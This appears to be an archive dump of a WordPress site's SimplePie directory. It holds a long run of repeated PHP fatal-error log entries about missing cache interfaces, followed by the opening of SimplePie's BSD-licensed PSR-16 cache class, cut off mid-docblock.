#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Nov-2025 07:31:26 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Nov-2025 21:44:32 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Nov-2025 21:44:45 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Nov-2025 21:45:54 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 00:06:47 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 00:15:18 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 00:15:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 01:07:52 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 01:08:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 02:36:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 02:40:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 02:50:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[03-Nov-2025 03:03:46 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:04:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[03-Nov-2025 11:04:40 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[03-Nov-2025 11:04:55 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 11:05:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 11:05:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 11:06:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 11:11:26 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:12:12 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[03-Nov-2025 11:14:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 11:23:36 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 11:23:50 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[03-Nov-2025 11:24:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[03-Nov-2025 11:26:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 11:27:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 11:29:39 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 11:31:39 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 11:32:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:39:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[03-Nov-2025 11:40:40 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[03-Nov-2025 11:41:33 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 11:52:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 11:55:01 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:55:52 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 11:57:58 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 23:14:49 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 23:15:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 05:09:44 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 08:57:09 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Nov-2025 08:57:32 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 08:58:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Nov-2025 08:58:12 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 08:58:25 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Nov-2025 08:59:12 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Nov-2025 09:03:02 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[04-Nov-2025 09:04:52 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Nov-2025 09:07:45 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Nov-2025 09:10:41 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Nov-2025 09:11:30 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Nov-2025 09:12:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 09:14:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Nov-2025 09:15:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Nov-2025 09:16:47 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 09:18:54 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Nov-2025 09:21:58 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Nov-2025 09:25:40 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[04-Nov-2025 09:31:24 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 09:33:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Nov-2025 09:35:04 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 09:36:00 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Nov-2025 09:38:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Nov-2025 09:39:04 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Nov-2025 09:40:04 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Nov-2025 09:46:36 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Nov-2025 20:13:35 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[05-Nov-2025 02:03:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
src/Cache/Psr16.php000064400000012023151024210710007751 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Psr\SimpleCache\CacheInterface;
use Psr\SimpleCache\InvalidArgumentException;

/**
 * Caches data into a PSR-16 cache implementation
 *
 * @package SimplePie
 * @subpackage Caching
 * @internal
 */
final class Psr16 implements DataCache
{
    /**
     * PSR-16 cache implementation
     *
     * @var CacheInterface
     */
    private $cache;

    /**
     * PSR-16 cache implementation
     *
     * @param CacheInterface $cache
     */
    public function __construct(CacheInterface $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->get($key, $default);

        if (!is_array($data) || $data === $default) {
            return $default;
        }

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
